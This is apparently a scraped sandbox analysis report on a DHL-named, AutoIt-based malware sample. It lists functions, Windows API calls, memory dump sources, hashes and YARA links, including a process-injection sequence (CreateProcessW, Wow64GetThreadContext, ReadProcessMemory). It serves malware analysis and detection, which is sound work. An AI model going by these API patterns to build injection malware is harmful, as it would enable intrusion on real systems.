Instruction Fuzzy Hash: 1DF05E306453449BE730CBA48C89FEA73ACEB85320F104918F65A930C0DB3494898B66

Function 00A12FD8 Relevance: 4.5, APIs: 3, Instructions: 27filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,00A12CD4,?,?,?,00000004,00000001), ref: 00A12FF2
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00A12CD4,?,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00A13006
CloseHandle.KERNEL32(00000000,?,00A12CD4,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00A1300D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 0f81027a8d9dddd78ad2e1f7149699a0aa9818f31513ef1b54008f8508e611d9
Instruction ID: 8d80571968ba920c00f0e5fe69c86570a492c7ddeea6a34fc1089d295b3bc5f9
Opcode Fuzzy Hash: 0f81027a8d9dddd78ad2e1f7149699a0aa9818f31513ef1b54008f8508e611d9
Instruction Fuzzy Hash: 90E0CD3228031077D6301795BC0DFCB7E5CD7CAF71F104310F719790D046A0550253A8

Function 009B1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 009B17F6

Strings

CALL, xrefs: 009B17C6

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 544fed680d0c88f3efde43ce715b1ff42003c2bef74e4b963562a3eaa6f9167b
Instruction ID: d97956e36a478c0b61622fbaf300fbfda13fa4c043f5e2e54a1034492422e622
Opcode Fuzzy Hash: 544fed680d0c88f3efde43ce715b1ff42003c2bef74e4b963562a3eaa6f9167b
Instruction Fuzzy Hash: 54229A70608301DFC714DF14C9A0BAABBF6BF85324F64892DF5968B2A1D775E841CB92

Function 00A16EF1 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 297COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A16F6B

Part of subcall function 009A4ECB: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4EFD

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00A16F5A, 00A16F63

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: LibraryLoad_wcslen
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 3312870042-2806939583
Opcode ID: dd988eda45c7f1199efe4146f426735f335afee08048d172e652e546a46dbd01
Instruction ID: fbf0ab5d4e036cd7842b75382718a9b335ee304be44e341ed6c529a5bb4eb4a7
Opcode Fuzzy Hash: dd988eda45c7f1199efe4146f426735f335afee08048d172e652e546a46dbd01
Instruction Fuzzy Hash: 3DB15F315082019FCB14EF24C891AAEB7F5BFD5350F14895DF496972A2EB30ED89CB92

Function 009A2DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 009E2C8C

Part of subcall function 009A3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009A3A97,?,?,009A2E7F,?,?,?,00000000), ref: 009A3AC2

Part of subcall function 009A2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 009A2DC4

Strings

X, xrefs: 009E2C5A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: a439dbc7ef1bb0dbc47b830c58d27480d6b76fa6b52d3d5e622b3d60b31d9bcf
Instruction ID: 46a4da197410667ddfecc323298cc8e3256c7fe6547cf39146d03821b90bcbda
Opcode Fuzzy Hash: a439dbc7ef1bb0dbc47b830c58d27480d6b76fa6b52d3d5e622b3d60b31d9bcf
Instruction Fuzzy Hash: E0219371A002989BDB01DF98CC45BEE7BFCAF89314F108059E405A7241DBB89A898BA1

Function 009DC9BB Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 009D2D74: GetLastError.KERNEL32(?,?,009D5686,009E3CD6,?,00000000,?,009D5B6A,?,?,?,?,?,009CE6D1,?,00A68A48), ref: 009D2D78
Part of subcall function 009D2D74: _free.LIBCMT ref: 009D2DAB
Part of subcall function 009D2D74: SetLastError.KERNEL32(00000000,?,?,?,?,009CE6D1,?,00A68A48,00000010,009A4F4A,?,?,00000000,009E3CD6), ref: 009D2DEC
Part of subcall function 009D2D74: _abort.LIBCMT ref: 009D2DF2

Part of subcall function 009DCADA: _abort.LIBCMT ref: 009DCB0C
Part of subcall function 009DCADA: _free.LIBCMT ref: 009DCB40

Part of subcall function 009DC74F: GetOEMCP.KERNEL32(00000000), ref: 009DC77A

_free.LIBCMT ref: 009DCA33
_free.LIBCMT ref: 009DCA69

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 50720363106b32ea3af4c0790224e55ea007e422289d5dcacc631b9bfae7e8cb
Instruction ID: 95d4c5c929ba389f51e1afc0ad4202e7bc736c82be4f23a6812a3db58ce4c715
Opcode Fuzzy Hash: 50720363106b32ea3af4c0790224e55ea007e422289d5dcacc631b9bfae7e8cb
Instruction Fuzzy Hash: C031C771984109AFDB11DBE8D441B6977F9EF40320F21819BF4049B391EB755D41DB50

Function 00E142A5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00E14A63
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00E14AF9
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00E14B1B

Memory Dump Source

Source File: 00000000.00000002.1465502144.0000000000E13000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E13000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e13000_DHL.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
Instruction ID: 6558c544e9958bff37d7355f498e6f751ca8294b085a4a400872026845481a12
Opcode Fuzzy Hash: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
Instruction Fuzzy Hash: D712BE24E14658C6EB24DF64D8507DEB272FF68300F10A0E9910DEB7A5E77A4F81CB5A

Function 009BFC70 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 009BFD1F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 3ebc9e963e9afff060cb853ea1f52198d29f2ea1e63f8445ddebd09af1a5b940
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 7B31EC75A00109DBC718CF59D9A09A9FBA5FF89320B2486A5E849CF656D731EDC1CBC0

Function 009A4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 009A4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,009A4EDD,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4E9C
Part of subcall function 009A4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 009A4EAE
Part of subcall function 009A4E90: FreeLibrary.KERNEL32(00000000,?,?,009A4EDD,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4EFD

Part of subcall function 009A4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,009E3CDE,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4E62
Part of subcall function 009A4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 009A4E74
Part of subcall function 009A4E59: FreeLibrary.KERNEL32(00000000,?,?,009E3CDE,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4E87

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: d72eb60403c233f8be51c3e2b01ca68860f12ccd2f440ecb6df823828c605e60
Instruction ID: dc09385c2e370ef592a813a18dc1c1c1bd45aabe1a6c3722852895c2bbbac6e7
Opcode Fuzzy Hash: d72eb60403c233f8be51c3e2b01ca68860f12ccd2f440ecb6df823828c605e60
Instruction Fuzzy Hash: 4511C132610205AACF14AB60DD06FAD77A5AFC1B10F20882DF552AA1C1EEB4EE459B90

Function 009D8402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 009D8440

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 7cec80610950ab4612c274eff745d396666053ce6ed878bdea975b4eeb9f85d3
Instruction ID: fd640b5cee6d0842e00a3040d8c36ff0889cd41331c877076bf89f867c1a74f2
Opcode Fuzzy Hash: 7cec80610950ab4612c274eff745d396666053ce6ed878bdea975b4eeb9f85d3
Instruction Fuzzy Hash: 8911187590410AAFCB05DF58E941A9B7BF9EF48314F10805AF808AB312DB31EA11CBA5

Function 009CE602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: b9f7b3b571f47ee13cc64a1fb72c2240b88840ce07ebc3938c8f0b162bc02dbe
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: AAF0F432D21A1497D6313A798E05F5B339C9FE2330F104B2EF422922D2DB74E80186A7

Function 009D3820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00A71444,?,009BFDF5,?,?,009AA976,00000010,00A71440,009A13FC,?,009A13C6,?,009A1129), ref: 009D3852

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0d8dcaabf08eb680af47db3b4daf8069cd2691cc10635057f915c31277bb6dcb
Instruction ID: ad7b3b83d79f6058d01db474f6de9c0221eb61208bc2ef6b3fc020a68a6615b3
Opcode Fuzzy Hash: 0d8dcaabf08eb680af47db3b4daf8069cd2691cc10635057f915c31277bb6dcb
Instruction Fuzzy Hash: 76E0E53168022456E62166A69C00F9A365EAB827B2F09C126BC1597A80CB50DE01A2E3

Function 009A4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4F6D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 4d685c4f292edb588784629555a5e1a89b9635d587e6d4d0cad5ea4650d346db
Instruction ID: 65ccf0f5d048f3e299e63c4ee60afe82d0420d19ee353f998a43304e33e3bdd1
Opcode Fuzzy Hash: 4d685c4f292edb588784629555a5e1a89b9635d587e6d4d0cad5ea4650d346db
Instruction Fuzzy Hash: F6F0A071005341CFCB348F60D890812B7E4AF413293209D7EE1DA82610C7B59844DF81

Function 009A2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 009A2DC4

Part of subcall function 009A6B57: _wcslen.LIBCMT ref: 009A6B6A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 7f60d2b9dbfaed8d0aa11ff83beee5efc8b335b79fceed6752f5df24d4339ebd
Instruction ID: ff8879d7a8132f426e68589c7d8afdfa26e4a9de4b6c0272508cda8094e34f4c
Opcode Fuzzy Hash: 7f60d2b9dbfaed8d0aa11ff83beee5efc8b335b79fceed6752f5df24d4339ebd
Instruction Fuzzy Hash: 12E0CD726041245BC711E2989C05FDA77DDDFC8790F040071FD09E7248DA70ED808690

Function 009A2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 009A3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 009A3908

Part of subcall function 009AD730: GetInputState.USER32 ref: 009AD807

SetCurrentDirectoryW.KERNEL32(?), ref: 009A2B6B

Part of subcall function 009A30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 009A314E

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 81fdc532dc4f345a80a73af064698b3ec59959e15c608c8b15279490a69b391e
Instruction ID: d206c2dd21c5e5454b3e9d50b4804b4c8bea97ce7df83f62ad27bd56df83bf98
Opcode Fuzzy Hash: 81fdc532dc4f345a80a73af064698b3ec59959e15c608c8b15279490a69b391e
Instruction Fuzzy Hash: 41E0866230425407C608BB78AC5667DA7999BD3351F40953EF14B971A2CE24454643D1

Function 009E039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,009E0704,?,?,00000000,?,009E0704,00000000,0000000C), ref: 009E03B7

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 13277b419bef579934fd99ef75625dbd9b6c6b9c46a6529912f06145666f87d0
Instruction ID: 4c1fad42060cae90e64c3d53c3b3425a7df81e9ffa8a0dff10b30d5e978b7597
Opcode Fuzzy Hash: 13277b419bef579934fd99ef75625dbd9b6c6b9c46a6529912f06145666f87d0
Instruction Fuzzy Hash: 3ED06C3204020DBBDF028F84DD06EDA3BAAFB48714F014100BE1866020C732E822AB90

Function 009A1CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 009A1CBC

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 2b72e56849b5a29aa318f7e66cfa572ef6375f2fde0132cd29b14e708fa159b2
Instruction ID: 147b6c6890312247ac415dcdf29035a068e656ec72a74853099c2de092a8c5a6
Opcode Fuzzy Hash: 2b72e56849b5a29aa318f7e66cfa572ef6375f2fde0132cd29b14e708fa159b2
Instruction Fuzzy Hash: A2C092362C0304EFF214CBD4BC4EF1077A4A348B15F04C002F64DA95E3C3A228A2EB60

Function 00E152A4 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00E152B9

Memory Dump Source

Source File: 00000000.00000002.1465502144.0000000000E13000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E13000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e13000_DHL.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction ID: 21dc90d837fe8bfd440e535c5126dcb9a79fe7b6f02877de8f6960c67caa431c
Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction Fuzzy Hash: D0E0BF7594010DEFDB00DFA4D5496DD7BB4EF04301F1005A1FD05E7690DB709E54CA62

Function 00E152A8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00E152B9

Memory Dump Source

Source File: 00000000.00000002.1465502144.0000000000E13000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E13000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e13000_DHL.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: ba9654a034d0b400f7326d4a73170458df8c08f9b5efa7641f800657e2ca8b44
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: B5E0E67594010DDFDB00DFB4D5496DD7BF4EF04301F100161FD01E2280D6709D50CA62

Non-executed Functions

Function 00A39576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 009B9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009B9BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00A3961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00A3965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00A3969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A396C9
SendMessageW.USER32 ref: 00A396F2
GetKeyState.USER32(00000011), ref: 00A3978B
GetKeyState.USER32(00000009), ref: 00A39798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00A397AE
GetKeyState.USER32(00000010), ref: 00A397B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A397E9
SendMessageW.USER32 ref: 00A39810
SendMessageW.USER32(?,00001030,?,00A37E95), ref: 00A39918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00A3992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00A39941
SetCapture.USER32(?), ref: 00A3994A
ClientToScreen.USER32(?,?), ref: 00A399AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00A399BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00A399D6
ReleaseCapture.USER32 ref: 00A399E1
GetCursorPos.USER32(?), ref: 00A39A19
ScreenToClient.USER32(?,?), ref: 00A39A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00A39A80
SendMessageW.USER32 ref: 00A39AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00A39AEB
SendMessageW.USER32 ref: 00A39B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00A39B3B
